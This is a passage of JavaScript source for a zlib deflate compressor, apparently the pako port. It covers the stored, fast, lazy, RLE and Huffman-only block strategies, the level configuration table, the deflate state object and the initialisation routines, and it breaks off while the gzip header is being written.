s.head[s.ins_h] = str;\n str++;\n s.insert--;\n if (s.lookahead + s.insert < MIN_MATCH) {\n break;\n }\n }\n }\n /* If the whole input has less than MIN_MATCH bytes, ins_h is garbage,\n * but this is not important since only literal bytes will be emitted.\n */\n\n } while (s.lookahead < MIN_LOOKAHEAD && s.strm.avail_in !== 0);\n\n /* If the WIN_INIT bytes after the end of the current data have never been\n * written, then zero those bytes in order to avoid memory check reports of\n * the use of uninitialized (or uninitialised as Julian writes) bytes by\n * the longest match routines. Update the high water mark for the next\n * time through here. WIN_INIT is set to MAX_MATCH since the longest match\n * routines allow scanning to strstart + MAX_MATCH, ignoring lookahead.\n */\n// if (s.high_water < s.window_size) {\n// var curr = s.strstart + s.lookahead;\n// var init = 0;\n//\n// if (s.high_water < curr) {\n// /* Previous high water mark below current data -- zero WIN_INIT\n// * bytes or up to end of window, whichever is less.\n// */\n// init = s.window_size - curr;\n// if (init > WIN_INIT)\n// init = WIN_INIT;\n// zmemzero(s->window + curr, (unsigned)init);\n// s->high_water = curr + init;\n// }\n// else if (s->high_water < (ulg)curr + WIN_INIT) {\n// /* High water mark at or above current data, but below current data\n// * plus WIN_INIT -- zero out to current data plus WIN_INIT, or up\n// * to end of window, whichever is less.\n// */\n// init = (ulg)curr + WIN_INIT - s->high_water;\n// if (init > s->window_size - s->high_water)\n// init = s->window_size - s->high_water;\n// zmemzero(s->window + s->high_water, (unsigned)init);\n// s->high_water += init;\n// }\n// }\n//\n// Assert((ulg)s->strstart <= s->window_size - MIN_LOOKAHEAD,\n// \"not enough room for search\");\n}\n\n/* ===========================================================================\n * Copy without compression as much as possible from the input stream, return\n * the current block state.\n * This function does not insert new strings in the dictionary since\n * uncompressible data is probably not useful. This function is used\n * only for the level=0 compression option.\n * NOTE: this function should be optimized to avoid extra copying from\n * window to pending_buf.\n */\nfunction deflate_stored(s, flush) {\n /* Stored blocks are limited to 0xffff bytes, pending_buf is limited\n * to pending_buf_size, and each stored block has a 5 byte header:\n */\n var max_block_size = 0xffff;\n\n if (max_block_size > s.pending_buf_size - 5) {\n max_block_size = s.pending_buf_size - 5;\n }\n\n /* Copy as much as possible from input to output: */\n for (;;) {\n /* Fill the window as much as possible: */\n if (s.lookahead <= 1) {\n\n //Assert(s->strstart < s->w_size+MAX_DIST(s) ||\n // s->block_start >= (long)s->w_size, \"slide too late\");\n// if (!(s.strstart < s.w_size + (s.w_size - MIN_LOOKAHEAD) ||\n// s.block_start >= s.w_size)) {\n// throw new Error(\"slide too late\");\n// }\n\n fill_window(s);\n if (s.lookahead === 0 && flush === Z_NO_FLUSH) {\n return BS_NEED_MORE;\n }\n\n if (s.lookahead === 0) {\n break;\n }\n /* flush the current block */\n }\n //Assert(s->block_start >= 0L, \"block gone\");\n// if (s.block_start < 0) throw new Error(\"block gone\");\n\n s.strstart += s.lookahead;\n s.lookahead = 0;\n\n /* Emit a stored block if pending_buf will be full: */\n var max_start = s.block_start + max_block_size;\n\n if (s.strstart === 0 || s.strstart >= max_start) {\n /* strstart == 0 is possible when wraparound on 16-bit machine */\n s.lookahead = s.strstart - max_start;\n s.strstart = max_start;\n /*** FLUSH_BLOCK(s, 0); ***/\n flush_block_only(s, false);\n if (s.strm.avail_out === 0) {\n return BS_NEED_MORE;\n }\n /***/\n\n\n }\n /* Flush if we may have to slide, otherwise block_start may become\n * negative and the data will be gone:\n */\n if (s.strstart - s.block_start >= (s.w_size - MIN_LOOKAHEAD)) {\n /*** FLUSH_BLOCK(s, 0); ***/\n flush_block_only(s, false);\n if (s.strm.avail_out === 0) {\n return BS_NEED_MORE;\n }\n /***/\n }\n }\n\n s.insert = 0;\n\n if (flush === Z_FINISH) {\n /*** FLUSH_BLOCK(s, 1); ***/\n flush_block_only(s, true);\n if (s.strm.avail_out === 0) {\n return BS_FINISH_STARTED;\n }\n /***/\n return BS_FINISH_DONE;\n }\n\n if (s.strstart > s.block_start) {\n /*** FLUSH_BLOCK(s, 0); ***/\n flush_block_only(s, false);\n if (s.strm.avail_out === 0) {\n return BS_NEED_MORE;\n }\n /***/\n }\n\n return BS_NEED_MORE;\n}\n\n/* ===========================================================================\n * Compress as much as possible from the input stream, return the current\n * block state.\n * This function does not perform lazy evaluation of matches and inserts\n * new strings in the dictionary only for unmatched strings or for short\n * matches. It is used only for the fast compression options.\n */\nfunction deflate_fast(s, flush) {\n var hash_head; /* head of the hash chain */\n var bflush; /* set if current block must be flushed */\n\n for (;;) {\n /* Make sure that we always have enough lookahead, except\n * at the end of the input file. We need MAX_MATCH bytes\n * for the next match, plus MIN_MATCH bytes to insert the\n * string following the next match.\n */\n if (s.lookahead < MIN_LOOKAHEAD) {\n fill_window(s);\n if (s.lookahead < MIN_LOOKAHEAD && flush === Z_NO_FLUSH) {\n return BS_NEED_MORE;\n }\n if (s.lookahead === 0) {\n break; /* flush the current block */\n }\n }\n\n /* Insert the string window[strstart .. strstart+2] in the\n * dictionary, and set hash_head to the head of the hash chain:\n */\n hash_head = 0/*NIL*/;\n if (s.lookahead >= MIN_MATCH) {\n /*** INSERT_STRING(s, s.strstart, hash_head); ***/\n s.ins_h = ((s.ins_h << s.hash_shift) ^ s.window[s.strstart + MIN_MATCH - 1]) & s.hash_mask;\n hash_head = s.prev[s.strstart & s.w_mask] = s.head[s.ins_h];\n s.head[s.ins_h] = s.strstart;\n /***/\n }\n\n /* Find the longest match, discarding those <= prev_length.\n * At this point we have always match_length < MIN_MATCH\n */\n if (hash_head !== 0/*NIL*/ && ((s.strstart - hash_head) <= (s.w_size - MIN_LOOKAHEAD))) {\n /* To simplify the code, we prevent matches with the string\n * of window index 0 (in particular we have to avoid a match\n * of the string with itself at the start of the input file).\n */\n s.match_length = longest_match(s, hash_head);\n /* longest_match() sets match_start */\n }\n if (s.match_length >= MIN_MATCH) {\n // check_match(s, s.strstart, s.match_start, s.match_length); // for debug only\n\n /*** _tr_tally_dist(s, s.strstart - s.match_start,\n s.match_length - MIN_MATCH, bflush); ***/\n bflush = trees._tr_tally(s, s.strstart - s.match_start, s.match_length - MIN_MATCH);\n\n s.lookahead -= s.match_length;\n\n /* Insert new strings in the hash table only if the match length\n * is not too large. This saves time but degrades compression.\n */\n if (s.match_length <= s.max_lazy_match/*max_insert_length*/ && s.lookahead >= MIN_MATCH) {\n s.match_length--; /* string at strstart already in table */\n do {\n s.strstart++;\n /*** INSERT_STRING(s, s.strstart, hash_head); ***/\n s.ins_h = ((s.ins_h << s.hash_shift) ^ s.window[s.strstart + MIN_MATCH - 1]) & s.hash_mask;\n hash_head = s.prev[s.strstart & s.w_mask] = s.head[s.ins_h];\n s.head[s.ins_h] = s.strstart;\n /***/\n /* strstart never exceeds WSIZE-MAX_MATCH, so there are\n * always MIN_MATCH bytes ahead.\n */\n } while (--s.match_length !== 0);\n s.strstart++;\n } else\n {\n s.strstart += s.match_length;\n s.match_length = 0;\n s.ins_h = s.window[s.strstart];\n /* UPDATE_HASH(s, s.ins_h, s.window[s.strstart+1]); */\n s.ins_h = ((s.ins_h << s.hash_shift) ^ s.window[s.strstart + 1]) & s.hash_mask;\n\n//#if MIN_MATCH != 3\n// Call UPDATE_HASH() MIN_MATCH-3 more times\n//#endif\n /* If lookahead < MIN_MATCH, ins_h is garbage, but it does not\n * matter since it will be recomputed at next deflate call.\n */\n }\n } else {\n /* No match, output a literal byte */\n //Tracevv((stderr,\"%c\", s.window[s.strstart]));\n /*** _tr_tally_lit(s, s.window[s.strstart], bflush); ***/\n bflush = trees._tr_tally(s, 0, s.window[s.strstart]);\n\n s.lookahead--;\n s.strstart++;\n }\n if (bflush) {\n /*** FLUSH_BLOCK(s, 0); ***/\n flush_block_only(s, false);\n if (s.strm.avail_out === 0) {\n return BS_NEED_MORE;\n }\n /***/\n }\n }\n s.insert = ((s.strstart < (MIN_MATCH - 1)) ? s.strstart : MIN_MATCH - 1);\n if (flush === Z_FINISH) {\n /*** FLUSH_BLOCK(s, 1); ***/\n flush_block_only(s, true);\n if (s.strm.avail_out === 0) {\n return BS_FINISH_STARTED;\n }\n /***/\n return BS_FINISH_DONE;\n }\n if (s.last_lit) {\n /*** FLUSH_BLOCK(s, 0); ***/\n flush_block_only(s, false);\n if (s.strm.avail_out === 0) {\n return BS_NEED_MORE;\n }\n /***/\n }\n return BS_BLOCK_DONE;\n}\n\n/* ===========================================================================\n * Same as above, but achieves better compression. We use a lazy\n * evaluation for matches: a match is finally adopted only if there is\n * no better match at the next window position.\n */\nfunction deflate_slow(s, flush) {\n var hash_head; /* head of hash chain */\n var bflush; /* set if current block must be flushed */\n\n var max_insert;\n\n /* Process the input block. */\n for (;;) {\n /* Make sure that we always have enough lookahead, except\n * at the end of the input file. We need MAX_MATCH bytes\n * for the next match, plus MIN_MATCH bytes to insert the\n * string following the next match.\n */\n if (s.lookahead < MIN_LOOKAHEAD) {\n fill_window(s);\n if (s.lookahead < MIN_LOOKAHEAD && flush === Z_NO_FLUSH) {\n return BS_NEED_MORE;\n }\n if (s.lookahead === 0) { break; } /* flush the current block */\n }\n\n /* Insert the string window[strstart .. strstart+2] in the\n * dictionary, and set hash_head to the head of the hash chain:\n */\n hash_head = 0/*NIL*/;\n if (s.lookahead >= MIN_MATCH) {\n /*** INSERT_STRING(s, s.strstart, hash_head); ***/\n s.ins_h = ((s.ins_h << s.hash_shift) ^ s.window[s.strstart + MIN_MATCH - 1]) & s.hash_mask;\n hash_head = s.prev[s.strstart & s.w_mask] = s.head[s.ins_h];\n s.head[s.ins_h] = s.strstart;\n /***/\n }\n\n /* Find the longest match, discarding those <= prev_length.\n */\n s.prev_length = s.match_length;\n s.prev_match = s.match_start;\n s.match_length = MIN_MATCH - 1;\n\n if (hash_head !== 0/*NIL*/ && s.prev_length < s.max_lazy_match &&\n s.strstart - hash_head <= (s.w_size - MIN_LOOKAHEAD)/*MAX_DIST(s)*/) {\n /* To simplify the code, we prevent matches with the string\n * of window index 0 (in particular we have to avoid a match\n * of the string with itself at the start of the input file).\n */\n s.match_length = longest_match(s, hash_head);\n /* longest_match() sets match_start */\n\n if (s.match_length <= 5 &&\n (s.strategy === Z_FILTERED || (s.match_length === MIN_MATCH && s.strstart - s.match_start > 4096/*TOO_FAR*/))) {\n\n /* If prev_match is also MIN_MATCH, match_start is garbage\n * but we will ignore the current match anyway.\n */\n s.match_length = MIN_MATCH - 1;\n }\n }\n /* If there was a match at the previous step and the current\n * match is not better, output the previous match:\n */\n if (s.prev_length >= MIN_MATCH && s.match_length <= s.prev_length) {\n max_insert = s.strstart + s.lookahead - MIN_MATCH;\n /* Do not insert strings in hash table beyond this. */\n\n //check_match(s, s.strstart-1, s.prev_match, s.prev_length);\n\n /***_tr_tally_dist(s, s.strstart - 1 - s.prev_match,\n s.prev_length - MIN_MATCH, bflush);***/\n bflush = trees._tr_tally(s, s.strstart - 1 - s.prev_match, s.prev_length - MIN_MATCH);\n /* Insert in hash table all strings up to the end of the match.\n * strstart-1 and strstart are already inserted. If there is not\n * enough lookahead, the last two strings are not inserted in\n * the hash table.\n */\n s.lookahead -= s.prev_length - 1;\n s.prev_length -= 2;\n do {\n if (++s.strstart <= max_insert) {\n /*** INSERT_STRING(s, s.strstart, hash_head); ***/\n s.ins_h = ((s.ins_h << s.hash_shift) ^ s.window[s.strstart + MIN_MATCH - 1]) & s.hash_mask;\n hash_head = s.prev[s.strstart & s.w_mask] = s.head[s.ins_h];\n s.head[s.ins_h] = s.strstart;\n /***/\n }\n } while (--s.prev_length !== 0);\n s.match_available = 0;\n s.match_length = MIN_MATCH - 1;\n s.strstart++;\n\n if (bflush) {\n /*** FLUSH_BLOCK(s, 0); ***/\n flush_block_only(s, false);\n if (s.strm.avail_out === 0) {\n return BS_NEED_MORE;\n }\n /***/\n }\n\n } else if (s.match_available) {\n /* If there was no match at the previous position, output a\n * single literal. If there was a match but the current match\n * is longer, truncate the previous match to a single literal.\n */\n //Tracevv((stderr,\"%c\", s->window[s->strstart-1]));\n /*** _tr_tally_lit(s, s.window[s.strstart-1], bflush); ***/\n bflush = trees._tr_tally(s, 0, s.window[s.strstart - 1]);\n\n if (bflush) {\n /*** FLUSH_BLOCK_ONLY(s, 0) ***/\n flush_block_only(s, false);\n /***/\n }\n s.strstart++;\n s.lookahead--;\n if (s.strm.avail_out === 0) {\n return BS_NEED_MORE;\n }\n } else {\n /* There is no previous match to compare with, wait for\n * the next step to decide.\n */\n s.match_available = 1;\n s.strstart++;\n s.lookahead--;\n }\n }\n //Assert (flush != Z_NO_FLUSH, \"no flush?\");\n if (s.match_available) {\n //Tracevv((stderr,\"%c\", s->window[s->strstart-1]));\n /*** _tr_tally_lit(s, s.window[s.strstart-1], bflush); ***/\n bflush = trees._tr_tally(s, 0, s.window[s.strstart - 1]);\n\n s.match_available = 0;\n }\n s.insert = s.strstart < MIN_MATCH - 1 ? s.strstart : MIN_MATCH - 1;\n if (flush === Z_FINISH) {\n /*** FLUSH_BLOCK(s, 1); ***/\n flush_block_only(s, true);\n if (s.strm.avail_out === 0) {\n return BS_FINISH_STARTED;\n }\n /***/\n return BS_FINISH_DONE;\n }\n if (s.last_lit) {\n /*** FLUSH_BLOCK(s, 0); ***/\n flush_block_only(s, false);\n if (s.strm.avail_out === 0) {\n return BS_NEED_MORE;\n }\n /***/\n }\n\n return BS_BLOCK_DONE;\n}\n\n\n/* ===========================================================================\n * For Z_RLE, simply look for runs of bytes, generate matches only of distance\n * one. Do not maintain a hash table. (It will be regenerated if this run of\n * deflate switches away from Z_RLE.)\n */\nfunction deflate_rle(s, flush) {\n var bflush; /* set if current block must be flushed */\n var prev; /* byte at distance one to match */\n var scan, strend; /* scan goes up to strend for length of run */\n\n var _win = s.window;\n\n for (;;) {\n /* Make sure that we always have enough lookahead, except\n * at the end of the input file. We need MAX_MATCH bytes\n * for the longest run, plus one for the unrolled loop.\n */\n if (s.lookahead <= MAX_MATCH) {\n fill_window(s);\n if (s.lookahead <= MAX_MATCH && flush === Z_NO_FLUSH) {\n return BS_NEED_MORE;\n }\n if (s.lookahead === 0) { break; } /* flush the current block */\n }\n\n /* See how many times the previous byte repeats */\n s.match_length = 0;\n if (s.lookahead >= MIN_MATCH && s.strstart > 0) {\n scan = s.strstart - 1;\n prev = _win[scan];\n if (prev === _win[++scan] && prev === _win[++scan] && prev === _win[++scan]) {\n strend = s.strstart + MAX_MATCH;\n do {\n /*jshint noempty:false*/\n } while (prev === _win[++scan] && prev === _win[++scan] &&\n prev === _win[++scan] && prev === _win[++scan] &&\n prev === _win[++scan] && prev === _win[++scan] &&\n prev === _win[++scan] && prev === _win[++scan] &&\n scan < strend);\n s.match_length = MAX_MATCH - (strend - scan);\n if (s.match_length > s.lookahead) {\n s.match_length = s.lookahead;\n }\n }\n //Assert(scan <= s->window+(uInt)(s->window_size-1), \"wild scan\");\n }\n\n /* Emit match if have run of MIN_MATCH or longer, else emit literal */\n if (s.match_length >= MIN_MATCH) {\n //check_match(s, s.strstart, s.strstart - 1, s.match_length);\n\n /*** _tr_tally_dist(s, 1, s.match_length - MIN_MATCH, bflush); ***/\n bflush = trees._tr_tally(s, 1, s.match_length - MIN_MATCH);\n\n s.lookahead -= s.match_length;\n s.strstart += s.match_length;\n s.match_length = 0;\n } else {\n /* No match, output a literal byte */\n //Tracevv((stderr,\"%c\", s->window[s->strstart]));\n /*** _tr_tally_lit(s, s.window[s.strstart], bflush); ***/\n bflush = trees._tr_tally(s, 0, s.window[s.strstart]);\n\n s.lookahead--;\n s.strstart++;\n }\n if (bflush) {\n /*** FLUSH_BLOCK(s, 0); ***/\n flush_block_only(s, false);\n if (s.strm.avail_out === 0) {\n return BS_NEED_MORE;\n }\n /***/\n }\n }\n s.insert = 0;\n if (flush === Z_FINISH) {\n /*** FLUSH_BLOCK(s, 1); ***/\n flush_block_only(s, true);\n if (s.strm.avail_out === 0) {\n return BS_FINISH_STARTED;\n }\n /***/\n return BS_FINISH_DONE;\n }\n if (s.last_lit) {\n /*** FLUSH_BLOCK(s, 0); ***/\n flush_block_only(s, false);\n if (s.strm.avail_out === 0) {\n return BS_NEED_MORE;\n }\n /***/\n }\n return BS_BLOCK_DONE;\n}\n\n/* ===========================================================================\n * For Z_HUFFMAN_ONLY, do not look for matches. Do not maintain a hash table.\n * (It will be regenerated if this run of deflate switches away from Huffman.)\n */\nfunction deflate_huff(s, flush) {\n var bflush; /* set if current block must be flushed */\n\n for (;;) {\n /* Make sure that we have a literal to write. */\n if (s.lookahead === 0) {\n fill_window(s);\n if (s.lookahead === 0) {\n if (flush === Z_NO_FLUSH) {\n return BS_NEED_MORE;\n }\n break; /* flush the current block */\n }\n }\n\n /* Output a literal byte */\n s.match_length = 0;\n //Tracevv((stderr,\"%c\", s->window[s->strstart]));\n /*** _tr_tally_lit(s, s.window[s.strstart], bflush); ***/\n bflush = trees._tr_tally(s, 0, s.window[s.strstart]);\n s.lookahead--;\n s.strstart++;\n if (bflush) {\n /*** FLUSH_BLOCK(s, 0); ***/\n flush_block_only(s, false);\n if (s.strm.avail_out === 0) {\n return BS_NEED_MORE;\n }\n /***/\n }\n }\n s.insert = 0;\n if (flush === Z_FINISH) {\n /*** FLUSH_BLOCK(s, 1); ***/\n flush_block_only(s, true);\n if (s.strm.avail_out === 0) {\n return BS_FINISH_STARTED;\n }\n /***/\n return BS_FINISH_DONE;\n }\n if (s.last_lit) {\n /*** FLUSH_BLOCK(s, 0); ***/\n flush_block_only(s, false);\n if (s.strm.avail_out === 0) {\n return BS_NEED_MORE;\n }\n /***/\n }\n return BS_BLOCK_DONE;\n}\n\n/* Values for max_lazy_match, good_match and max_chain_length, depending on\n * the desired pack level (0..9). The values given below have been tuned to\n * exclude worst case performance for pathological files. Better values may be\n * found for specific files.\n */\nfunction Config(good_length, max_lazy, nice_length, max_chain, func) {\n this.good_length = good_length;\n this.max_lazy = max_lazy;\n this.nice_length = nice_length;\n this.max_chain = max_chain;\n this.func = func;\n}\n\nvar configuration_table;\n\nconfiguration_table = [\n /* good lazy nice chain */\n new Config(0, 0, 0, 0, deflate_stored), /* 0 store only */\n new Config(4, 4, 8, 4, deflate_fast), /* 1 max speed, no lazy matches */\n new Config(4, 5, 16, 8, deflate_fast), /* 2 */\n new Config(4, 6, 32, 32, deflate_fast), /* 3 */\n\n new Config(4, 4, 16, 16, deflate_slow), /* 4 lazy matches */\n new Config(8, 16, 32, 32, deflate_slow), /* 5 */\n new Config(8, 16, 128, 128, deflate_slow), /* 6 */\n new Config(8, 32, 128, 256, deflate_slow), /* 7 */\n new Config(32, 128, 258, 1024, deflate_slow), /* 8 */\n new Config(32, 258, 258, 4096, deflate_slow) /* 9 max compression */\n];\n\n\n/* ===========================================================================\n * Initialize the \"longest match\" routines for a new zlib stream\n */\nfunction lm_init(s) {\n s.window_size = 2 * s.w_size;\n\n /*** CLEAR_HASH(s); ***/\n zero(s.head); // Fill with NIL (= 0);\n\n /* Set the default configuration parameters:\n */\n s.max_lazy_match = configuration_table[s.level].max_lazy;\n s.good_match = configuration_table[s.level].good_length;\n s.nice_match = configuration_table[s.level].nice_length;\n s.max_chain_length = configuration_table[s.level].max_chain;\n\n s.strstart = 0;\n s.block_start = 0;\n s.lookahead = 0;\n s.insert = 0;\n s.match_length = s.prev_length = MIN_MATCH - 1;\n s.match_available = 0;\n s.ins_h = 0;\n}\n\n\nfunction DeflateState() {\n this.strm = null; /* pointer back to this zlib stream */\n this.status = 0; /* as the name implies */\n this.pending_buf = null; /* output still pending */\n this.pending_buf_size = 0; /* size of pending_buf */\n this.pending_out = 0; /* next pending byte to output to the stream */\n this.pending = 0; /* nb of bytes in the pending buffer */\n this.wrap = 0; /* bit 0 true for zlib, bit 1 true for gzip */\n this.gzhead = null; /* gzip header information to write */\n this.gzindex = 0; /* where in extra, name, or comment */\n this.method = Z_DEFLATED; /* can only be DEFLATED */\n this.last_flush = -1; /* value of flush param for previous deflate call */\n\n this.w_size = 0; /* LZ77 window size (32K by default) */\n this.w_bits = 0; /* log2(w_size) (8..16) */\n this.w_mask = 0; /* w_size - 1 */\n\n this.window = null;\n /* Sliding window. Input bytes are read into the second half of the window,\n * and move to the first half later to keep a dictionary of at least wSize\n * bytes. With this organization, matches are limited to a distance of\n * wSize-MAX_MATCH bytes, but this ensures that IO is always\n * performed with a length multiple of the block size.\n */\n\n this.window_size = 0;\n /* Actual size of window: 2*wSize, except when the user input buffer\n * is directly used as sliding window.\n */\n\n this.prev = null;\n /* Link to older string with same hash index. To limit the size of this\n * array to 64K, this link is maintained only for the last 32K strings.\n * An index in this array is thus a window index modulo 32K.\n */\n\n this.head = null; /* Heads of the hash chains or NIL. */\n\n this.ins_h = 0; /* hash index of string to be inserted */\n this.hash_size = 0; /* number of elements in hash table */\n this.hash_bits = 0; /* log2(hash_size) */\n this.hash_mask = 0; /* hash_size-1 */\n\n this.hash_shift = 0;\n /* Number of bits by which ins_h must be shifted at each input\n * step. It must be such that after MIN_MATCH steps, the oldest\n * byte no longer takes part in the hash key, that is:\n * hash_shift * MIN_MATCH >= hash_bits\n */\n\n this.block_start = 0;\n /* Window position at the beginning of the current output block. Gets\n * negative when the window is moved backwards.\n */\n\n this.match_length = 0; /* length of best match */\n this.prev_match = 0; /* previous match */\n this.match_available = 0; /* set if previous match exists */\n this.strstart = 0; /* start of string to insert */\n this.match_start = 0; /* start of matching string */\n this.lookahead = 0; /* number of valid bytes ahead in window */\n\n this.prev_length = 0;\n /* Length of the best match at previous step. Matches not greater than this\n * are discarded. This is used in the lazy match evaluation.\n */\n\n this.max_chain_length = 0;\n /* To speed up deflation, hash chains are never searched beyond this\n * length. A higher limit improves compression ratio but degrades the\n * speed.\n */\n\n this.max_lazy_match = 0;\n /* Attempt to find a better match only when the current match is strictly\n * smaller than this value. This mechanism is used only for compression\n * levels >= 4.\n */\n // That's alias to max_lazy_match, don't use directly\n //this.max_insert_length = 0;\n /* Insert new strings in the hash table only if the match length is not\n * greater than this length. This saves time but degrades compression.\n * max_insert_length is used only for compression levels <= 3.\n */\n\n this.level = 0; /* compression level (1..9) */\n this.strategy = 0; /* favor or force Huffman coding*/\n\n this.good_match = 0;\n /* Use a faster search when the previous match is longer than this */\n\n this.nice_match = 0; /* Stop searching when current match exceeds this */\n\n /* used by trees.c: */\n\n /* Didn't use ct_data typedef below to suppress compiler warning */\n\n // struct ct_data_s dyn_ltree[HEAP_SIZE]; /* literal and length tree */\n // struct ct_data_s dyn_dtree[2*D_CODES+1]; /* distance tree */\n // struct ct_data_s bl_tree[2*BL_CODES+1]; /* Huffman tree for bit lengths */\n\n // Use flat array of DOUBLE size, with interleaved fata,\n // because JS does not support effective\n this.dyn_ltree = new utils.Buf16(HEAP_SIZE * 2);\n this.dyn_dtree = new utils.Buf16((2 * D_CODES + 1) * 2);\n this.bl_tree = new utils.Buf16((2 * BL_CODES + 1) * 2);\n zero(this.dyn_ltree);\n zero(this.dyn_dtree);\n zero(this.bl_tree);\n\n this.l_desc = null; /* desc. for literal tree */\n this.d_desc = null; /* desc. for distance tree */\n this.bl_desc = null; /* desc. for bit length tree */\n\n //ush bl_count[MAX_BITS+1];\n this.bl_count = new utils.Buf16(MAX_BITS + 1);\n /* number of codes at each bit length for an optimal tree */\n\n //int heap[2*L_CODES+1]; /* heap used to build the Huffman trees */\n this.heap = new utils.Buf16(2 * L_CODES + 1); /* heap used to build the Huffman trees */\n zero(this.heap);\n\n this.heap_len = 0; /* number of elements in the heap */\n this.heap_max = 0; /* element of largest frequency */\n /* The sons of heap[n] are heap[2*n] and heap[2*n+1]. heap[0] is not used.\n * The same heap array is used to build all trees.\n */\n\n this.depth = new utils.Buf16(2 * L_CODES + 1); //uch depth[2*L_CODES+1];\n zero(this.depth);\n /* Depth of each subtree used as tie breaker for trees of equal frequency\n */\n\n this.l_buf = 0; /* buffer index for literals or lengths */\n\n this.lit_bufsize = 0;\n /* Size of match buffer for literals/lengths. There are 4 reasons for\n * limiting lit_bufsize to 64K:\n * - frequencies can be kept in 16 bit counters\n * - if compression is not successful for the first block, all input\n * data is still in the window so we can still emit a stored block even\n * when input comes from standard input. (This can also be done for\n * all blocks if lit_bufsize is not greater than 32K.)\n * - if compression is not successful for a file smaller than 64K, we can\n * even emit a stored file instead of a stored block (saving 5 bytes).\n * This is applicable only for zip (not gzip or zlib).\n * - creating new Huffman trees less frequently may not provide fast\n * adaptation to changes in the input data statistics. (Take for\n * example a binary file with poorly compressible code followed by\n * a highly compressible string table.) Smaller buffer sizes give\n * fast adaptation but have of course the overhead of transmitting\n * trees more frequently.\n * - I can't count above 4\n */\n\n this.last_lit = 0; /* running index in l_buf */\n\n this.d_buf = 0;\n /* Buffer index for distances. To simplify the code, d_buf and l_buf have\n * the same number of elements. To use different lengths, an extra flag\n * array would be necessary.\n */\n\n this.opt_len = 0; /* bit length of current block with optimal trees */\n this.static_len = 0; /* bit length of current block with static trees */\n this.matches = 0; /* number of string matches in current block */\n this.insert = 0; /* bytes at end of window left to insert */\n\n\n this.bi_buf = 0;\n /* Output buffer. bits are inserted starting at the bottom (least\n * significant bits).\n */\n this.bi_valid = 0;\n /* Number of valid bits in bi_buf. All bits above the last valid bit\n * are always zero.\n */\n\n // Used for window memory init. We safely ignore it for JS. That makes\n // sense only for pointers and memory check tools.\n //this.high_water = 0;\n /* High water mark offset in window for initialized bytes -- bytes above\n * this are set to zero in order to avoid memory check warnings when\n * longest match routines access bytes past the input. This is then\n * updated to the new high water mark.\n */\n}\n\n\nfunction deflateResetKeep(strm) {\n var s;\n\n if (!strm || !strm.state) {\n return err(strm, Z_STREAM_ERROR);\n }\n\n strm.total_in = strm.total_out = 0;\n strm.data_type = Z_UNKNOWN;\n\n s = strm.state;\n s.pending = 0;\n s.pending_out = 0;\n\n if (s.wrap < 0) {\n s.wrap = -s.wrap;\n /* was made negative by deflate(..., Z_FINISH); */\n }\n s.status = (s.wrap ? INIT_STATE : BUSY_STATE);\n strm.adler = (s.wrap === 2) ?\n 0 // crc32(0, Z_NULL, 0)\n :\n 1; // adler32(0, Z_NULL, 0)\n s.last_flush = Z_NO_FLUSH;\n trees._tr_init(s);\n return Z_OK;\n}\n\n\nfunction deflateReset(strm) {\n var ret = deflateResetKeep(strm);\n if (ret === Z_OK) {\n lm_init(strm.state);\n }\n return ret;\n}\n\n\nfunction deflateSetHeader(strm, head) {\n if (!strm || !strm.state) { return Z_STREAM_ERROR; }\n if (strm.state.wrap !== 2) { return Z_STREAM_ERROR; }\n strm.state.gzhead = head;\n return Z_OK;\n}\n\n\nfunction deflateInit2(strm, level, method, windowBits, memLevel, strategy) {\n if (!strm) { // === Z_NULL\n return Z_STREAM_ERROR;\n }\n var wrap = 1;\n\n if (level === Z_DEFAULT_COMPRESSION) {\n level = 6;\n }\n\n if (windowBits < 0) { /* suppress zlib wrapper */\n wrap = 0;\n windowBits = -windowBits;\n }\n\n else if (windowBits > 15) {\n wrap = 2; /* write gzip wrapper instead */\n windowBits -= 16;\n }\n\n\n if (memLevel < 1 || memLevel > MAX_MEM_LEVEL || method !== Z_DEFLATED ||\n windowBits < 8 || windowBits > 15 || level < 0 || level > 9 ||\n strategy < 0 || strategy > Z_FIXED) {\n return err(strm, Z_STREAM_ERROR);\n }\n\n\n if (windowBits === 8) {\n windowBits = 9;\n }\n /* until 256-byte window bug fixed */\n\n var s = new DeflateState();\n\n strm.state = s;\n s.strm = strm;\n\n s.wrap = wrap;\n s.gzhead = null;\n s.w_bits = windowBits;\n s.w_size = 1 << s.w_bits;\n s.w_mask = s.w_size - 1;\n\n s.hash_bits = memLevel + 7;\n s.hash_size = 1 << s.hash_bits;\n s.hash_mask = s.hash_size - 1;\n s.hash_shift = ~~((s.hash_bits + MIN_MATCH - 1) / MIN_MATCH);\n\n s.window = new utils.Buf8(s.w_size * 2);\n s.head = new utils.Buf16(s.hash_size);\n s.prev = new utils.Buf16(s.w_size);\n\n // Don't need mem init magic for JS.\n //s.high_water = 0; /* nothing written to s->window yet */\n\n s.lit_bufsize = 1 << (memLevel + 6); /* 16K elements by default */\n\n s.pending_buf_size = s.lit_bufsize * 4;\n\n //overlay = (ushf *) ZALLOC(strm, s->lit_bufsize, sizeof(ush)+2);\n //s->pending_buf = (uchf *) overlay;\n s.pending_buf = new utils.Buf8(s.pending_buf_size);\n\n // It is offset from `s.pending_buf` (size is `s.lit_bufsize * 2`)\n //s->d_buf = overlay + s->lit_bufsize/sizeof(ush);\n s.d_buf = 1 * s.lit_bufsize;\n\n //s->l_buf = s->pending_buf + (1+sizeof(ush))*s->lit_bufsize;\n s.l_buf = (1 + 2) * s.lit_bufsize;\n\n s.level = level;\n s.strategy = strategy;\n s.method = method;\n\n return deflateReset(strm);\n}\n\nfunction deflateInit(strm, level) {\n return deflateInit2(strm, level, Z_DEFLATED, MAX_WBITS, DEF_MEM_LEVEL, Z_DEFAULT_STRATEGY);\n}\n\n\nfunction deflate(strm, flush) {\n var old_flush, s;\n var beg, val; // for gzip header write only\n\n if (!strm || !strm.state ||\n flush > Z_BLOCK || flush < 0) {\n return strm ? err(strm, Z_STREAM_ERROR) : Z_STREAM_ERROR;\n }\n\n s = strm.state;\n\n if (!strm.output ||\n (!strm.input && strm.avail_in !== 0) ||\n (s.status === FINISH_STATE && flush !== Z_FINISH)) {\n return err(strm, (strm.avail_out === 0) ? Z_BUF_ERROR : Z_STREAM_ERROR);\n }\n\n s.strm = strm; /* just in case */\n old_flush = s.last_flush;\n s.last_flush = flush;\n\n /* Write the header */\n if (s.status === INIT_STATE) {\n\n if (s.wrap === 2) { // GZIP header\n strm.adler = 0; //crc32(0L, Z_NULL, 0);\n put_byte(s, 31);\n put_byte(s, 139);\n put_byte(s, 8);\n if (!s.gzhead) { // s->gzhead == Z_NULL\n put_byte(s, 0);\n 